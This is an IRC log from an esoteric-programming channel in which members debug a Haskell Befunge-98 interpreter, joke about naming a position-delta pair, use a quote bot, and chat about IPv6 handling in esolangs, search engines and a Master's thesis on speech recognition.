13:30:06 <Deewiant> Why does your map have a ' ' at (9,1)
13:30:13 <elliott> *Shiro.Interpreter> fs !@@ nextInsPos fs (IP (9,0) (0,1))
13:30:13 <elliott> 118
13:30:13 <elliott> *Shiro.Interpreter> chr 118
13:30:13 <elliott> 'v'
13:30:13 <elliott> *Shiro.Interpreter> fs !@@ nextPos fs (IP (9,1) (0,1))
13:30:13 <elliott> 32
13:30:15 <elliott> *Shiro.Interpreter> chr 32
13:30:18 <elliott> ' '
13:30:19 <elliott> *Shiro.Interpreter> fs !@@ nextPos fs (IP (9,2) (0,1))
13:30:21 <elliott> 32
13:30:23 <elliott> *Shiro.Interpreter> fs !@@ nextPos fs (IP (9,3) (0,1))
13:30:25 <elliott> 32
13:30:28 <elliott> *Shiro.Interpreter> fs !@@ nextPos fs (IP (9,4) (0,1))
13:30:29 <Deewiant> Your loader is broken
13:30:30 <elliott> 32
13:30:32 <elliott> Deewiant: THAT'S A VERY GOOD QUESTION, TEN POINTS TO THE GENTLEMAN
13:30:34 <Deewiant> Should've stuck with the B8.lines
13:30:34 <elliott> YOU DON'T SAY
13:30:49 <elliott> *Shiro.Interpreter> fungeStateFromByteString "abc\ndef"
13:30:49 <elliott> FungeState {stackStack = [], fungeSpace = FungeSpace (fromList [((0,0),97),((1,0),98),((2,0),99),((3,1),100),((4,1),101),((5,1),102)]), ip = IP (0,0) (1,0)}
13:30:54 <elliott> Deewiant: This is what we call "hurf durf".
13:30:56 <Deewiant> "Whoops"
13:31:04 <elliott> | w == ff || (w == lf && lastWasCR) = (p, fs, False)
13:31:04 <elliott> | w == cr || w == lf = ((x,y+1), fs, w == cr)
13:31:05 <elliott> SPOT BUG
13:31:05 <Deewiant> That explains the 136130
13:31:18 <Deewiant> s/x/0/
13:31:27 <ais523> elliott: heh, it's interpreting \n DOS-style
13:31:34 <Deewiant> Or, well, I don't know
13:31:35 <elliott> Deewiant: *ox
13:31:40 -!- BeholdMyGlory has joined.
13:31:41 <Deewiant> ais523: Sorry, they're \r\ns
13:31:41 <elliott> I'm i-ready.
13:31:45 <elliott> Hey, hey, whoa, it executed @ after 4.
13:31:47 <elliott> What does that mean.
13:31:48 <Deewiant> elliott: Right, I didn't see that bit
13:31:52 <Deewiant> elliott: See readme.
13:31:52 <elliott> It's printed up to 4.
13:31:55 <elliott> Deewiant: OKAY OKAY OKAY
13:31:59 <elliott> I just prefer the personal touch.
13:32:25 <ais523> Deewiant: but the readme's more than 80 characters wide!
13:32:33 <elliott> Deewiant: Man, printing "0 1 2 3 4 " takes a whole second.
13:32:40 <Deewiant> Only if your tabs are wide
13:32:41 <elliott> Deewiant: Is that slower than Language::Befunge?
13:32:51 <elliott> Deewiant: Prepare for ais523 to tell you that all tabs ever are 8 characters.
13:32:52 <Deewiant> Yes, I'd say it's quite a bit slower
13:32:55 <fizzie> Deewiant: Tabs are 8 characters.
13:33:00 <elliott> fizzie: No they're not.
13:33:01 <ais523> Deewiant: tabs are always 8 characters
13:33:08 <elliott> fizzie: For one, even if they were, they'd not be.
13:33:11 <elliott> Tabs are, at the most,
13:33:16 <elliott> MOVES to a column divisible by 8.
13:33:20 <ais523> how else would you expect cat to interpret them?
13:33:21 <elliott> That's not the same as 8 spaces.
13:33:27 <elliott> Also, tabs aren't "multiple characters".
13:33:31 <ais523> and yes, I mean divisible by 8, = 8 characters at the start of a line
13:33:40 <elliott> I thought you said "always 8 characters".
13:33:44 <elliott> (What characters, I wonder?)
13:33:49 <ais523> elliott: I was mimicking you
13:33:53 <ais523> and they're rendered to spaces by the terminal
13:34:09 <elliott> Ah. So if I made cat output "abcdefgh" on a tab that'd be valid? :)
13:34:11 <Deewiant> elliott: You can always get Language::Befunge and compare, maybe your machine is slow enough that they're comparable
13:34:14 <elliott> It's eight characters.
13:34:39 <elliott> Deewiant: ~2.1 GHz Core 2 Duo, 4 gigs of RAM and an SSD, I think its slowness can't be put down to my machine :P
13:34:43 -!- Behold has quit (Ping timeout: 255 seconds).
13:34:55 <ais523> elliott: anyway, failing after 4 means stringmode isn't working
13:34:58 <elliott> I doubt the extra Hz does too much to Befunge-98 interpreters.
13:35:04 <elliott> oh, it does?
13:35:07 <elliott> i don't have stringmode
13:35:09 <elliott> so that's understandable :D
13:35:32 <elliott> Ugh, ... I think I have to include stringmodeness in the IP structure.
13:35:40 <Deewiant> You're right
13:35:56 <elliott> Deewiant: But an IP is such a pure thing right now!
13:35:59 <elliott> Position and delta!
13:36:02 <elliott> It's like PHYSCIS!
13:36:04 <Deewiant> Also, I'm amused that ais is doing the readme-reading for you
13:36:05 <elliott> PHYSCIS!!!!!
13:36:10 <elliott> Deewiant: He's my cat(1).
13:36:19 <elliott> I do have the readme up, I'm just not taking any of it in :P
13:36:40 <ais523> elliott: and being cat(1), I effectively expand tabs at the start of a line to eight spaces then complain about the width
13:36:43 <elliott> :D
13:36:45 <elliott> 5 34 " Toggle Stringmode If no reflection on the instruction
13:36:45 <elliott> occurs, but the string's contents are
13:36:46 <elliott> interpreted as instructions, a second
13:36:46 <elliott> "4 " is output before exiting.
13:36:49 <elliott> Deewiant: That's odd.
13:36:52 <elliott> Deewiant: My " should reflect.
13:36:55 <elliott> I don't have an implementation, so.
13:37:06 -!- aloril has joined.
13:37:08 <Deewiant> So?
13:37:15 <elliott> Deewiant: And unimplemented instructions reflect.
13:37:16 <Deewiant> Your " reflects and that's why you get 0-4
13:37:20 <Deewiant> Problem?
13:37:23 <elliott> Deewiant:
13:37:23 <elliott> 5 34 " Toggle Stringmode If no reflection on the instruction
13:37:24 <elliott> occurs, but the string's contents are
13:37:24 <elliott> interpreted as instructions, a second
13:37:24 <elliott> "4 " is output before exiting.
13:37:26 <elliott> Read carefully.
13:37:30 <elliott> "If *no* reflection ..."
13:37:44 <elliott> YOUR README IS WRONG, HOW CAN I TRUST IT.
13:37:45 <Deewiant> 'a *second* "4 "'
13:37:45 <fizzie> Well, did you get a second 4?
13:37:56 <ais523> elliott: if " reflects, you get one 4; if " doesn't reflect, you get two 4s
13:37:57 <elliott> Oh.
13:38:04 <Deewiant> Read carefully :-P
13:38:05 <elliott> Stop prejudicing me just because I'm stupid.
13:38:36 <elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP?
13:38:44 <elliott> I think I want to separate it out so that functions like advance can still take it.
13:39:07 <Deewiant> I don't call it anything
13:39:11 <Deewiant> But I'm going home now ->
13:39:32 <elliott> ais523: Nasty piece of work, that Deewiant!
13:39:33 <fizzie> I'd call it "momentum", it's hilariously unaccurate and misleading.
13:39:45 <elliott> fizzie: You're a funny one. :p
13:39:48 <ais523> fizzie: that almost made me laugh, but I'm at work
13:39:58 <elliott> "unaccurate" makes it.
13:40:06 <ais523> you could make a Heisenburg reference
13:40:11 <elliott> omg
13:40:13 <elliott> quantum funge
13:40:23 <elliott> fucking yes
13:44:00 <elliott> maybe i'll call it a posta
13:44:02 <elliott> it's like position
13:44:03 <elliott> plus delta
13:44:22 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:45:51 <fizzie> Deposition. :p
13:45:53 <elliott> ais523: oerjan is right dammit
13:45:56 <elliott> I just started reading a random log
13:45:57 <elliott> and
13:46:00 -!- poiuy_qwert has joined.
13:46:01 <elliott> 06:21:47 <Deewiant> ehird: coding a Befunge-98 interp in Haskell?
13:46:01 <elliott> 06:21:54 <ehird> that is my intention, yep
13:46:20 <ais523> what date?
13:46:26 <elliott> 09.01.14
13:46:32 <ais523> over a year ago
13:46:34 <elliott> (in the #esoteric Date Format)
13:46:38 <elliott> ais523: two years ago
13:46:42 <elliott> ais523: to be exact
13:46:42 <ais523> hmm, good intentions come to those who wait
13:46:43 <elliott> :P
13:46:45 <ais523> and oh right, 2011
13:46:51 <elliott> "Oh right, a year passed."
13:46:57 <elliott> shit, that was 2 years ago?
13:46:58 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
13:47:12 <elliott> 2010 is kind of like a big chunk of nothingness from my perspective since I was at the unit for like 11 months
13:47:13 <elliott> well
13:47:18 <elliott> more like 9 months in 2010, but yeah
13:47:27 <elliott> So 2009 is as good as "last year" to me :P
13:48:17 <elliott> ais523: do you have a copy of the MKRY spec?
13:48:22 <elliott> I want to be the first to implement it
13:48:36 <ais523> no, I don't
13:49:22 <fizzie> Here's another suggestion, in case you didn't like the "deposition" ("deltion"?): "plane". Since, you see, it's two vectors, and that defines a plane. Logic, it's what's for dinner.
13:50:13 <elliott> `addquote <elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it "momentum", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the "deposition" ("deltion"?): "plane". Since, you see, it's two vectors, and that defines a plane. Logic, it's what's for dinner.
13:50:14 <HackEgo> 295) <elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it "momentum", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the "deposition" ("deltion"?): "plane". Since, you see, it's two
13:50:19 <elliott> yay, it all fit -- argh
13:50:22 <elliott> `quote 295
13:50:24 <HackEgo> 295) <elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it "momentum", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the "deposition" ("deltion"?): "plane". Since, you see, it's two
13:50:31 <elliott> `delquote 295
13:50:32 <HackEgo> *poof*
13:50:34 <ais523> elliott: that doesn't use two spaces everywhere
13:50:54 <elliott> ais523: yes it does
13:50:57 <elliott> the [...] goes in-between the two spaces
13:51:22 <elliott> `echo "<elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it \"momentum\", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the \"deposition\" (\"deltion\"?): \"plane\". Since, you see, it's two vectors, and that defines a plane. Logic, it's what's for dinner." >>quotes
13:51:24 <HackEgo> "<elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it \"momentum\", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the \"deposition\" (\"deltion\"?): \"plane\". Since, you see, it's
13:51:25 <ais523> that's some insane logic you have there
13:51:28 <elliott> `run echo "<elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it \"momentum\", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the \"deposition\" (\"deltion\"?): \"plane\". Since, you see, it's two vectors, and that defines a plane. Logic, it's what's for dinner." >>quotes
13:51:31 <HackEgo> No output.
13:51:36 <elliott> `quote 295
13:51:37 <HackEgo> 295) <elliott> Deewiant: What would you call a (position,delta) pair, as part of an IP? <fizzie> I'd call it "momentum", it's hilariously unaccurate and misleading. [...] <fizzie> Deposition. :p [...] <fizzie> Here's another suggestion, in case you didn't like the "deposition" ("deltion"?): "plane". Since, you see, it's two
13:51:39 <elliott> bah
13:51:41 <elliott> `delquote 295
13:51:43 <HackEgo> *poof*
13:53:32 <ais523> `quote 295
13:53:32 <HackEgo> No output.
13:53:41 <fizzie> In other news (of the "abusing environments" series), \theoremstyle{definition} \newtheorem{problem}{Problem} ... \begin{problem} ... \end{problem} seems to make a reasonably nice environment for denoting questions in an exercise paper.
13:54:10 <elliott> fizzie: Problem?
13:54:19 <elliott> ais523: my quote system is too robust to break like that!
13:54:20 <fizzie> Problem 1, problem 2, etc.
13:54:25 <elliott> fizzie: whoosh
13:54:39 <elliott> 06:32:10 <ehird> <dl>
13:54:40 <elliott> 06:32:12 <ehird> <dt>C ( -- c... )
13:54:40 <elliott> 06:32:14 <ehird> <dd>Push ','s
13:54:40 <elliott> 06:32:16 <ehird> <dt>D ( -- c... )
13:54:40 <elliott> 06:32:18 <ehird> <dd>Push '.'s
13:54:40 <elliott> 06:32:20 <ehird> <dt>E ( -- c... )
13:54:42 <fizzie> It doesn't do much, but it does do auto-numbering and a bit of \paragraph{}-style emphasis for the numbers.
13:54:44 <elliott> 06:32:22 <ehird> <dd>Push 'e' and 'h' (random)
13:54:46 <elliott> 06:32:24 <ehird> </dl>
13:54:48 <elliott> 06:32:26 <ehird> <p>All pushes from 3 to 15.</p>
13:54:50 <elliott> there we go
13:54:52 <elliott> the relevant parts, anyway
13:55:14 <elliott> fizzie: I was RIFFING on the trollface-"problem?".
13:55:29 <ais523> <elliott> ais523: my quote system is too robust to break like that! <--- you appended /two/ lines, I'm wondering if you added a 296 and it got renumbered 295 after the delquote
13:55:32 <ais523> `quote 296
13:55:33 <fizzie> O, I C.
13:55:34 <HackEgo> No output.
13:55:37 <elliott> ais523: I appended one line.
13:55:41 <elliott> ais523: It's just that HackEgo cut it off.
13:55:44 <elliott> when requoting
13:55:45 <ais523> ah, in that case I misread
13:55:51 <elliott> ais523: I said "`echo ... >>x"
13:55:54 <elliott> but ` isn't interpreted by shell
13:55:56 <elliott> you need `run for that
13:55:58 <ais523> I thought you were trying to append the second part of the line to the bit that got cut off
13:56:01 <elliott> heh
14:00:12 <elliott> ais523: meanwhile, a new high in the abuse of Wikipedia's User namespace: http://en.wikipedia.org/wiki/User:Purpy_Pupple/Maze
14:00:55 <elliott> ais523: apparently, justified against [[Wikipedia:User pages#Excessive unrelated content]] because its output is used in [[Maze generation]] and because of [[Wikipedia:Featured picture candidates/Maze Generation 2]]
14:01:02 <elliott> which doesn't really make any sense to me
14:01:13 <ais523> elliott: you saw that on reddit
14:01:22 <elliott> ais523: yes, yes I did
14:01:23 <elliott> :)
14:01:26 <ais523> in fact, the reddit thread turned into an impromptu MfD
14:01:38 <elliott> haha
14:01:41 <elliott> you mean on WP?
14:01:42 <ais523> I'm surprised it hasn't been nominated, in fact
14:01:45 <ais523> elliott: no, on reddit
14:01:50 <elliott> hmm, only one small thread
14:02:03 <ais523> it resembled an MfD in quite a lot of ways, except for the lack of bolded comments and being a reddit thread rather than a wiki page
14:02:44 <elliott> "I like keeping my programs as efficient as possible and it would seem to me that this would cause the program to evaluate something it really shouldn't have to. Does the compiler recognize this and not include it in the final compiled code or is there something I don't understand about do-while's?"
14:02:49 <elliott> after someone suggested using do ... while (0) for a macro
14:02:50 * elliott rage
14:03:20 <ais523> well, the do just sets a label, which doesn't appear in the final machine code; there's a valid point about the while, except that constant branches are really easy to optimise
14:03:36 <elliott> even stupidcc would optimise that out
14:04:21 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
14:04:30 <elliott> ais523: hey, i just thought of another argument why [[Fork bomb]] shouldn't have 70 (hyperbole) almost-identical examples, apart from that merely being a stupid waste of space
14:04:35 <elliott> (ok, thought of = saw on reddit)
14:04:40 <elliott> most of those are original research! :)
14:05:59 -!- poiuy_qwert has joined.
14:12:50 -!- augur has quit (Remote host closed the connection).
14:15:59 <elliott> ais523: what would _you_ call it?
14:16:04 <elliott> development is blocked on this name :D
14:16:15 <ais523> I don't have much of an idea, really
14:16:17 <ais523> FungeIP would do
14:16:38 <elliott> ais523: no, an IP inclues stringmode
14:16:42 <elliott> I just mean a pair of (position, delta)
14:16:46 -!- cheater- has quit (Ping timeout: 240 seconds).
14:16:57 <fizzie> Come to think of it; back in the y2k there were "year 19100"s, and possibly some "19910"s, and maybe even some "1900"s and "1990"s, but at least I didn't see any "199:"s.
14:17:17 -!- Lymia__ has quit (Read error: Connection reset by peer).
14:17:32 <elliott> I think 199: has happened.
14:17:49 -!- cheater- has joined.
14:17:52 <ais523> elliott: the Windows 3.1 file manager did 19:0
14:18:04 <fizzie> Heh.
14:18:18 <elliott> wat
14:18:27 <fizzie> No carry for the second digit, I see.
14:18:28 -!- Lymia__ has joined.
14:19:23 <elliott> "Crashed my entire computer! Great job." --reddit
14:19:39 <ais523> elliott: it's '1' '9' '0'+((year-1900)/10) '0'+((year-1900)%10)
14:19:50 <elliott> right
14:20:09 <elliott> http://esolangs.org/w/index.php?title=Brainfuck&curid=961&diff=20990&oldid=20786 *sigh*
14:20:22 <fizzie> Well, in a few places where the position/delta values have had a name like "Vector", I've seen the pos/delta pair called boringly "Vector2" or some other such. (But it does sound a bit too much like a 2-component vector.)
14:20:23 <elliott> the links section on the brainfuck article is insane
14:20:38 <elliott> fizzie: They are in fact called Vector; Vector2 seems a bit odd.
14:20:46 <elliott> fizzie: But I mean the field name.
14:20:59 <fizzie> What, I think it sounds more even than odd! (Eh eh ee ehehe eh.)
14:21:01 <elliott> data IP = IP { posdelt :: (Vector, Vector); ... } or whatever
14:21:08 <elliott> fizzie: ehehehhehehhhehehee,,,,
14:21:18 <elliott> Sponsored by MKRY, the fingerprint you can trust
14:21:42 <ais523> hmm, what about a taylor?
14:22:00 <ais523> on the basis that you've basically got a position and its derivative, which are the basis of the first two terms of a taylor series
14:22:16 <fizzie> That's almost as far-fetched as the "plane", really.
14:22:19 <elliott> fizzie: did you see when i linked you do that site with a glfunge binary for HP-UX?
14:22:23 <elliott> quite impressive
14:22:25 <elliott> ais523: X-D
14:22:44 <elliott> Clearly we need to figure out what the singular of the plural "taylor" is.
14:22:48 <elliott> tayle?
14:23:45 <ais523> fizzie: except that "plane" is incorrect there, as a plane through the origin is defined by two unit vectors, and I think other planes need one unit vector and one ordinary vector
14:23:56 <fizzie> Yes, I noticed; I had google-my-name-found it earlier, too. I didn't have anything to do with the HP-UX packaging; I'm in fact a bit ashamed that my mistakes are so prominent. Maybe some day I'll actually finally do the 3d-glitzy befunge I was envisioning back then. (At least now we've got programmable shaders and all that fluff.)
14:24:21 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
14:24:59 <fizzie> ais523: Well, maybe a "disc" then? One vector for the position, other for the normal, and the length of the normal to specify area/radius?
14:25:06 <ais523> elliott: I like "tayle"
14:25:18 <elliott> ais523: Yes, but unfortunately nobody will know what the fuck it means. :p
14:25:29 <ais523> especially as it's a cool-sounding word as it is, and you don't need to tell people the etymology
14:25:42 <ais523> fizzie: err, wow
14:25:49 <elliott> ais523: I'll go with "tayle" if I can't think of a more reasonable name.
14:25:50 <elliott> fizzie: ...
14:25:53 <ais523> I think that fails in dimensions other than 3
14:25:59 -!- poiuy_qwert has joined.
14:26:00 <elliott> ais523: Do you think we could get someone to kickban fizzie?
14:26:04 <elliott> He really deserves it.
14:26:05 * Ilari remembers he has some messy esolang interpretters for self-designed esolangs.
14:26:09 <ais523> e.g. it'd be a (3-dimensional) sphere in hyperspace
14:26:24 <ais523> I should upload my improved 1cnis interp some time, when I finish it
14:26:34 <elliott> fizzie: Heh, SCKE is yours?
14:26:37 <ais523> (I had to remove a couple of features in order to improve efficiency)
14:26:46 <fizzie> elliott: Yes, and I'm not proud of that either. :p
14:26:52 <elliott> fizzie: Holy shit, the GLfunge site has a VA Linux advert (it's a broken image).
14:26:54 <fizzie> elliott: I just needed a hostname lookup and something else.
14:27:02 <elliott> Isn't SCKE better than SOCK?
14:27:11 <elliott> But more importantly: VA Linux! Shit!
14:27:15 <fizzie> It's an extension.
14:27:22 <fizzie> And you got some sort of points from that banner. :p
14:27:25 <elliott> 0.9.01 (first version)
14:27:26 <elliott> * Funge98 works, with the following exceptions: {, }, u, l, h, m, (, ).
14:27:33 <elliott> Seriously? You wrote the website when it was that incomplete? :-D
14:27:50 <elliott> HA HA SHAME
14:27:53 <fizzie> Stop being like that.
14:28:03 <elliott> Sorry, it's just so COMICAL.
14:28:03 <fizzie> The email address is worng too.
14:28:08 <elliott> fizzie: So SOCK is an extension of SCKE?
14:28:27 <fizzie> No, SCKE just adds a few more commands; you plonk it on after loading SOCK, usually.
14:28:38 <ais523> elliott: picking on fizzie is rather unlike you...
14:28:54 <Ilari> Do either of those support IPv6? :-)
14:28:55 <elliott> ais523: It's not serious picking!
14:29:07 <elliott> It's just gosh-fizzie-truly-is-a-pathetic-excuse-for-a-hu maybe I won't finish this sentence!!
14:29:09 <elliott> MAYBE I WON'T
14:29:10 <ais523> Ilari: CLC-INTERCAL supports IPv6 nowadays
14:29:10 <fizzie> Ilari: No; Vorpal's NSCK should, though.
14:29:26 <ais523> and the way it does it is beautifully insane too, as it's transparent for IPv4 applications
14:29:37 <elliott> ais523: heh, how does it do it? maybe i'll implement it in SOCK and SCKE :D
14:29:43 <fizzie> SCKE just adds a v4-only gethostbyname() instruction ('H') and a poll command ('P').
14:29:44 <ais523> the way it works is, if you DNS lookup an IPv6 address, it returns an IPv4 address in the multicast region
14:29:58 <ais523> and then translates between them NAT-style
14:30:07 <ais523> umm, until the application exits, I think
14:30:25 -!- poiuy_qwert has quit (Client Quit).
14:30:30 <ais523> so IPv4 programs can use IPv6 without any modification at all
14:31:02 <elliott> fizzie: hmm, what does H's return look like?
14:31:36 <fizzie> elliott: Whatever I returns; usually an integer-mapped IPv4 address.
14:31:39 <ais523> I suggest the CLC-INTERCAL method be adopted in all other esolangs too, also real-life operating systems
14:31:48 <fizzie> ais523: There's a Internet-Draft for that mechanism.
14:31:55 <fizzie> ais523: http://tools.ietf.org/html/draft-liu-behave-nat46-02
14:31:59 <elliott> fizzie: what if the hostname ends with %ipv6, it returns instead an IPv6 address?
14:32:08 <elliott> CLC-INTERCAL: Implementing innovative Internet-Drafts.
14:32:45 <ais523> hmm, that one isn't numbered
14:32:50 <ais523> hasn't even been requested for comment yet
14:32:56 <ais523> I wonder if clc came up with the idea independently?
14:33:24 <fizzie> elliott: If you have bignum cells, maybe. The problem with retrofitting IPv6 into SOCK is that the addresses won't fit in single cells; so you either use some sort of a handle system (with the garbage-collection problems) or have a problem.
14:33:31 <ais523> also, those page breaks are irritating
14:33:39 <elliott> fizzie: I'd just push two cells.
14:33:41 <ais523> and the draft is expired (on sep 8 2010)
14:33:42 <elliott> Because, you know, radical.
14:33:50 <ais523> fizzie: how did you find that so quickly? or even know it existed?
14:34:06 <fizzie> ais523: Purely based on the far more popular (and sane) NAT64/DNS64 approach.
14:34:14 <ais523> also, it seems it was written entirely by China Mobile employees
14:34:17 <fizzie> ais523: Just thought if someone made it, surely they'd call it the obvious "nat46".
14:34:31 <elliott> ais523: This is the man who found an Ozy and Millie comic something like 10 seconds after vaguely quoting it.
14:34:42 <elliott> By using Google Book Search and then binary searching a specific year of archives.
14:34:46 <elliott> His searching power is INFINITE.
14:34:56 <ais523> and doesn't even mention the range of IPv4 addresses that should be used (maybe that's what the "reserved" addresses up the top can be used for? the IPs wouldn't need to be routable)
14:35:07 <elliott> (fizzie: Is your searching power infinite? That would be cool.)
14:35:10 <ais523> elliott: this is why IRC > Google
14:35:18 <elliott> ais523: but he did it with Google!
14:35:46 <ais523> yes, but a whole IRC channel full of people who are good with Google and also vaguely remember what they're looking for > one person trying to find it on their own
14:36:48 <elliott> ais523: yes, but bugging a random IRC channel with something that only you want == no results
14:37:26 <fizzie> There seems to also be a draft with the same name (but from different folks, Alain Durand from SUN Microsystems,inc) from 2002.
14:37:26 <ais523> elliott: luckily, #esoteric isn't a random IRC channel
14:37:28 <fizzie> Equally expired.
14:37:50 <elliott> ais523: but it would not be amused if i just told it all my google searches
14:38:03 <ais523> elliott: it probably wouldn't mind with mine, they're so rare
14:38:19 <elliott> ais523: well, exactly
14:38:20 <ais523> the search box in my browser is rarely set to Google at all
14:38:34 <ais523> generally, it's set to NetHackWiki or Wikipedia, although it's set to Esolang atm
14:38:40 <elliott> mine's set to BING
14:38:48 <elliott> note: lies
14:38:49 <fizzie> But BING == Google.
14:38:54 <fizzie> Or at least =~.
14:39:03 <fizzie> (Not the Perl operator.)
14:39:03 <elliott> there was a modified Bing logo with "powered by Google" in it on reddit :)
14:39:13 <elliott> so Bing powers Yahoo, and Google powers Bing
14:39:15 <elliott> ergo, Yahoo is Google
14:39:22 <elliott> now what's Lycos?
14:39:25 <elliott> ("Dead.")
14:39:28 <fizzie> And where's Altavista?
14:39:32 <ais523> fizzie: oh, I interpreted "Not the Perl operator" without the "not" for a moment
14:39:39 <ais523> altavista is merged with yahoo nowadays, isn't it?
14:39:43 <fizzie> "the most comprehensive search experience on the Web".
14:39:55 <ais523> hmm, perhaps not
14:40:04 <ais523> altavista still looks like it always used to, which is pretty nice
14:40:21 <ais523> I'll search it for INTERCAL as normal, that's my typical nonscientific test to test search engines
14:40:31 <fizzie> Yes, it's nice to have some semblance of stability in this modern, confusing world.
14:40:32 <elliott> I thought altavista died recently
14:40:35 <elliott> wait, no, that was some other old engine
14:40:45 <elliott> ais523: the results page itself is web 2.0'd up
14:40:47 <elliott> which is quite upsetting
14:40:50 <ais523> hmm, the search results are copyright Yahoo
14:40:52 <elliott> it looks like Yahoo's with the logo swapped
14:40:54 <ais523> *Yahoo!
14:40:57 <elliott> ais523: er, yes, Yahoo own AltaVista
14:41:01 <elliott> ais523: and thus Babelfish
14:41:09 <fizzie> Yes, it does redirect itself into a yahoo.com address after searching.
14:41:12 <ais523> indeed, I think it's just a reskin of Yahoo! nowadays
14:41:14 <fizzie> What a scam.
14:41:20 <elliott> at least the home page loads quickly :D
14:41:31 <elliott> http://uk.altavista.com/news/default
14:41:31 <elliott> oh wow
14:41:33 <elliott> that is so 2000
14:41:35 <elliott> that whole page
14:41:54 <ais523> elliott: either that, or around 1990
14:42:06 <elliott> "What are Matt’s thoughts on the security of the Vista kernel?
14:42:06 <elliott> Clearly he wasn’t impressed with NT, but since its technically obsolete I would be very interested to hear an ex-adware coder’s views on the “infectability” of Vista’s kernel." :what:
14:42:13 <elliott> ais523: heh?
14:42:22 <ais523> I think they went back to the early-90s style in 2000 or so in order to escape from the horror that was mid-90s
14:42:25 <ais523> (think Myspace)
14:42:27 <fizzie> My unscientific "my own surname" search finds my name in Microsoft Academic Search -- http://academic.research.microsoft.com/Author/8260699 -- and my Master's thesis in there.
14:42:30 <fizzie> That's bizarroid.
14:42:45 -!- cheater- has quit (Ping timeout: 240 seconds).
14:43:02 <ais523> it's not that 1990 anyway, less than half the text is linked
14:43:17 <ais523> back in 1990, typically search engines, as well as the search box, would have a sort of index structure
14:43:24 <elliott> ais523: nah, 2000 style is very distinctive
14:43:42 <elliott> ais523: it's WinAmp, it's small pixel fonts, it's custom image buttons that just draw their own pixelly button
14:43:55 <elliott> it's white on medium-darkish blue, or black on white with bad shades of blue around
14:43:57 <elliott> it's web safe colours
14:44:03 <ais523> ah, web safe colors
14:44:19 <elliott> it's WebMonkey
14:44:22 <ais523> I remember writing computer games in GDI16, aimed at 256-color screens
14:44:29 <ais523> which was more than the 16-color I'd previously used
14:44:35 <elliott> wow fizzie, I'm on page ii of your Master's and I'm already bored
14:44:42 <ais523> that computer might actually have /been/ 256-color, although I think it was up to 16-bit by then
14:44:46 <fizzie> elliott: It's not exactly terribly exciting stuff.
14:44:48 <elliott> how is that even possible? :D
14:44:51 -!- cheater- has joined.
14:44:59 <ais523> I'm not sure if my masters' is online anywhere
14:45:31 <elliott> fizzie: you neglected to get yourself nicknamed "DIRTY OLD MAN", how are you ever going to win the 2011 PhD challenge two years before it's announced now?
14:45:41 <elliott> also, you neglected to make it a PhD thesis instead of a Master's
14:45:44 <elliott> sheesh!
14:45:58 <fizzie> But do note that the FFT spectrum in the flowchart of page 13 (page 23 of PDF) in fact does match the resulting MFCC coefficients at the end.
14:46:02 <ais523> Google finds no results on a search for the title, anyway
14:46:07 <fizzie> That's the sort of attention to detail you need.
14:46:10 <elliott> ais523: what about Bing?
14:46:22 <ais523> oh, I forgot it existed
14:46:23 <elliott> fizzie: When does the text turn into "blah blah blah blah blah ..."?
14:46:26 <elliott> ais523: try Cuil too!
14:46:43 <elliott> "Speech is for the most a natural means of communication"
14:46:44 <fizzie> Also the speech waveform input is bona-fide real data, though the MFCCs and the spectrum are obviously just from one frame.
14:46:46 <elliott> fizzie: what does that even mean?
14:46:51 <elliott> I think you accidentally a word
14:47:06 <elliott> in the first sentence :D
14:47:17 <ais523> no results on Bing either, although the results it found by trying without the quotes were more relevant
14:47:18 <fizzie> Just substitute in whatever word you like.
14:47:20 <elliott> "and certainly
14:47:20 <elliott> it would be advantageous if we could use spoken language as the medium
14:47:20 <elliott> also when interfacing with computer systems."
14:47:23 <elliott> can i just state the obvious before I go on
14:47:25 <elliott> no it wouldn't
14:47:28 <ais523> and Cuil no longer exists; a pity, in a way (it used to be my default search engine)
14:47:33 <fizzie> Yes, it would.
14:47:37 <elliott> ais523: lmao, why?
14:47:39 <elliott> fizzie: no, it wouldn't
14:47:43 <fizzie> Yes, it would.
14:47:49 <elliott> fizzie: no, it wouldn't :D
14:47:51 <fizzie> Yes, it would.
14:47:52 -!- FireFly has joined.
14:47:52 <ais523> elliott: because the results were reasonable, and I trusted them more than most of the competition
14:47:53 <elliott> fizzie: no, it wouldn't :D
14:47:54 <fizzie> Yes, it would.
14:47:56 <elliott> ais523: tell him he's wrong
14:48:22 <fizzie> It's not saying that you'd need to replace everything with speech; just that there's real use cases for it.
14:48:28 <elliott> like minecraft
14:48:30 <ais523> elliott: well, surely it'd be advantageous if you could, just out of academic interest; and surely also advantageous if you never actually used it
14:48:31 <elliott> jump forwards
14:48:31 <elliott> jump
14:48:32 <elliott> jump
14:48:35 <elliott> look down
14:48:38 <elliott> jump build jump build jump build
14:48:42 <elliott> hit creeper
14:48:43 <elliott> hit creeper
14:48:44 <elliott> hit creeper
14:49:01 <ais523> elliott: haha, you saying that over IRC reminds me of commercial voice-control programs
14:49:12 <ais523> I tried out the one that came with Windows XP for a while, mostly for amusement value
14:49:19 <elliott> OS X's is ... interesting.
14:49:24 <elliott> It tends to do whatever you didn't tell it to.
14:49:26 <fizzie> Transcribing large audio/video corpuses so that you can do textual search on them is quite popular now.
